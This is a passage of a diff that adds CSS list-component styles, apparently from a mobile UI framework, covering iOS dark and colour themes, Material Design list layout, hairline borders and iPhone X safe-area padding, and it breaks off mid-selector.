+.ios .theme-dark .list-group-title:before { + background-color: #282829; +} +.ios .theme-dark .list-button:after { + background-color: #282829; +} +.ios .theme-dark .item-inner:after { + background-color: #282829; +} +.ios .theme-dark .item-divider, +.ios .theme-dark .list-group-title { + background-color: #111; +} +.ios .theme-dark .links-list a:after, +.ios .theme-dark .simple-list li:after, +.ios .theme-dark .links-list a:after, +.links-list.ios .theme-dark a .simple-list li:after, +.simple-list.ios .theme-dark li:after { + background-color: #282829; +} +.ios .theme-dark .list .item-link.active-state, +.list.ios .theme-dark .item-link.active-state, +.ios .theme-dark .list .list-button.active-state, +.list.ios .theme-dark .list-button.active-state, +.ios .theme-dark .links-list a.active-state, +.links-list.ios .theme-dark a.active-state { + background-color: #363636; +} +.ios .color-theme-red .list-button { + color: #ff3b30; +} +.ios .color-theme-green .list-button { + color: #4cd964; +} +.ios .color-theme-blue .list-button { + color: #007aff; +} +.ios .color-theme-pink .list-button { + color: #ff2d55; +} +.ios .color-theme-yellow .list-button { + color: #ffcc00; +} +.ios .color-theme-orange .list-button { + color: #ff9500; +} +.ios .color-theme-gray .list-button { + color: #8e8e93; +} +.ios .color-theme-white .list-button { + color: #ffffff; +} +.ios .color-theme-black .list-button { + color: #000000; +} +.ios .list .list-button.color-red, +.ios .list li.color-red .list-button, +.ios .links-list li.color-red a, +.ios .simple-list li.color-red, +.ios .links-list a.color-red, +.ios .list .item-link.color-red, +.ios .list li.color-red .item-link { + color: #ff3b30; +} +.ios .list .list-button.color-green, +.ios .list li.color-green .list-button, +.ios .links-list li.color-green a, +.ios .simple-list li.color-green, +.ios .links-list a.color-green, +.ios .list .item-link.color-green, +.ios .list li.color-green .item-link { + color: #4cd964; +} +.ios .list .list-button.color-blue, +.ios .list li.color-blue .list-button, +.ios .links-list li.color-blue a, +.ios .simple-list li.color-blue, +.ios .links-list a.color-blue, +.ios .list .item-link.color-blue, +.ios .list li.color-blue .item-link { + color: #007aff; +} +.ios .list .list-button.color-pink, +.ios .list li.color-pink .list-button, +.ios .links-list li.color-pink a, +.ios .simple-list li.color-pink, +.ios .links-list a.color-pink, +.ios .list .item-link.color-pink, +.ios .list li.color-pink .item-link { + color: #ff2d55; +} +.ios .list .list-button.color-yellow, +.ios .list li.color-yellow .list-button, +.ios .links-list li.color-yellow a, +.ios .simple-list li.color-yellow, +.ios .links-list a.color-yellow, +.ios .list .item-link.color-yellow, +.ios .list li.color-yellow .item-link { + color: #ffcc00; +} +.ios .list .list-button.color-orange, +.ios .list li.color-orange .list-button, +.ios .links-list li.color-orange a, +.ios .simple-list li.color-orange, +.ios .links-list a.color-orange, +.ios .list .item-link.color-orange, +.ios .list li.color-orange .item-link { + color: #ff9500; +} +.ios .list .list-button.color-gray, +.ios .list li.color-gray .list-button, +.ios .links-list li.color-gray a, +.ios .simple-list li.color-gray, +.ios .links-list a.color-gray, +.ios .list .item-link.color-gray, +.ios .list li.color-gray .item-link { + color: #8e8e93; +} +.ios .list .list-button.color-white, +.ios .list li.color-white .list-button, +.ios .links-list li.color-white a, +.ios .simple-list li.color-white, +.ios .links-list a.color-white, +.ios .list .item-link.color-white, +.ios .list li.color-white .item-link { + color: #ffffff; +} +.ios .list .list-button.color-black, +.ios .list li.color-black .list-button, +.ios .links-list li.color-black a, +.ios .simple-list li.color-black, +.ios .links-list a.color-black, +.ios .list .item-link.color-black, +.ios .list li.color-black .item-link { + color: #000000; +} +.md .list { + margin: 32px 0; + font-size: 16px; +} +.md .list .item-cell { + width: 100%; + min-width: 0; + margin-left: 16px; +} +.md .list .item-cell:first-child { + margin-left: 0; +} +.md .list .ripple-wave + .item-cell { + margin-left: 0; +} +.md .list ul ul { + padding-left: 56px; +} +.md .list .item-media { + padding-top: 8px; + min-width: 40px; +} +.md .list .item-media i + i, +.md .list .item-media i + img { + margin-left: 8px; +} +.md .list .item-media + .item-inner { + margin-left: 16px; +} +.md .list .item-inner { + min-height: 48px; + padding-right: 16px; +} +.md .list .item-after { + color: #757575; + font-size: 14px; + padding-left: 8px; +} +.md .list .item-link, +.md .list .list-button { + color: inherit; +} +.md .list .item-link .item-inner, +.md .list .list-button .item-inner { + padding-right: 42px; +} +.md .list .item-link.active-state, +.md .list .list-button.active-state { + background-color: rgba(0, 0, 0, 0.1); +} +.md .list .list-button { + padding: 0 16px; + font-size: 16px; + line-height: 48px; +} +.md .list .item-content { + min-height: 48px; + padding-left: 16px; +} +.md .list .item-subtitle { + font-size: 14px; +} +.md .list .item-text { + font-size: 14px; + color: #757575; + line-height: 20px; + max-height: 40px; +} +.md .list .item-header, +.md .list .item-footer { + font-weight: normal; + font-size: 12px; + line-height: 1.2; + white-space: normal; +} +.md .list .item-footer { + color: rgba(0, 0, 0, 0.5); +} +.md .list .item-link.no-chevron .item-inner, +.md .list.no-chevron .item-link .item-inner, +.md .list .no-chevron .item-link .item-inner, +.md .no-chevron .list .item-link .item-inner { + padding-right: 16px; +} +.md .simple-list li:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .simple-list li:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .simple-list li:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .simple-list li { + padding-left: 16px; + padding-right: 16px; + line-height: 48px; + height: 48px; +} +.md .simple-list li:after { + width: auto; + left: 16px; + right: 0; +} +.md .links-list a:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .links-list a:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .links-list a:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .links-list a { + height: 48px; + color: inherit; +} +.md .links-list a.active-state { + background-color: rgba(0, 0, 0, 0.1); +} +.md .links-list a:after { + width: auto; +} +.md .links-list a { + padding-left: 16px; + padding-right: 42px; +} +.md .links-list a:after { + left: 16px; + right: 0; +} +.md .links-list.no-chevron a, +.md .no-chevron .links-list a, +.md .links-list a.no-chevron, +.md .links-list .no-chevron a { + padding-right: 16px; +} +.md .media-list .item-inner, +.md li.media-item .item-inner { + padding-top: 14px; + padding-bottom: 14px; +} +.md .media-list .item-link .item-inner, +.md li.media-item .item-link .item-inner { + padding-right: 16px; +} +.md .media-list .item-link .item-title-row, +.md li.media-item .item-link .item-title-row { + padding-right: 26px; +} +.md .media-list .item-media, +.md li.media-item .item-media { + padding-top: 14px; + padding-bottom: 14px; +} +.md .media-list.chevron-center .item-link .item-inner, +.md .media-list .chevron-center .item-link .item-inner, +.md .media-list .item-link.chevron-center .item-inner, +.md li.media-item.chevron-center .item-link .item-inner, +.md li.media-item .item-link.chevron-center .item-inner, +.md li.media-item .chevron-center .item-link .item-inner { + padding-right: 42px; +} +.md .media-list.no-chevron .item-link .item-title-row, +.md .no-chevron .media-list .item-link .item-title-row, +.md .media-list .no-chevron .item-link .item-title-row, +.md li.media-item.no-chevron .item-link .item-title-row, +.md .no-chevron li.media-item .item-link .item-title-row, +.md .media-list.chevron-center .item-title-row, +.md .media-list .chevron-center .item-title-row, +.md li.media-item.chevron-center .item-title-row, +.md li.media-item .chevron-center .item-title-row { + padding-right: 0 !important; +} +.md .list .item-link .item-inner, +.md .links-list a { + background-position: calc(100% - 16px) center; +} +.md .item-divider, +.md .list-group-title { + padding: 0 16px; + background: #f4f4f4; + color: rgba(0, 0, 0, 0.54); + height: 48px; + line-height: 48px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + font-size: 14px; +} +.md .item-divider:before, +.md .list-group-title:before { + display: none !important; +} +.md .item-divider:after, +.md .list-group-title:after { + display: none !important; +} +.md .list-group-title { + margin-top: 0; +} +.md .list .item-inner:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .list .item-inner:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .list .item-inner:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .list ul:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .list ul:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .list ul:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .list ul:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .list ul:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .list ul:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .list.inset { + margin-left: 16px; + margin-right: 16px; + border-radius: 4px; +} +.md .list.inset ul { + border-radius: 4px; +} +.md .list.inset li:first-child > a { + border-radius: 4px 4px 0 0; +} +.md .list.inset li:last-child > a { + border-radius: 0 0 4px 4px; +} +.md .list.inset li:first-child:last-child > a { + border-radius: 4px; +} +@media (min-width: 768px) { + .md .list.tablet-inset { + margin-left: 16px; + margin-right: 16px; + border-radius: 4px; + } + .md .list.tablet-inset li:first-child > a { + border-radius: 4px 4px 0 0; + } + .md .list.tablet-inset li:last-child > a { + border-radius: 0 0 4px 4px; + } + .md .list.tablet-inset li:first-child:last-child > a { + border-radius: 4px; + } +} +.md li li:last-child .item-inner:after, +.md li:last-child li .item-inner:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +html.device-pixel-ratio-2 .md li li:last-child .item-inner:after, +html.device-pixel-ratio-2 .md li:last-child li .item-inner:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +html.device-pixel-ratio-3 .md li li:last-child .item-inner:after, +html.device-pixel-ratio-3 .md li:last-child li .item-inner:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(16px + constant(safe-area-inset-left)); + margin-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 15px; + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after { + left: calc(16px + constant(safe-area-inset-left)); + left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after { + left: calc(16px + constant(safe-area-inset-left)); + left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(16px + constant(safe-area-inset-right)); + margin-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 16px; + } + .md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 16px; + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a { + background-position: calc(100% - 16px - constant(safe-area-inset-right)) center; + background-position: calc(100% - 16px - env(safe-area-inset-right)) center; + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner { + padding-right: calc(42px + constant(safe-area-inset-right)); + padding-right: calc(42px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a { + padding-right: calc(42px + constant(safe-area-inset-right)); + padding-right: calc(42px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-right-edge 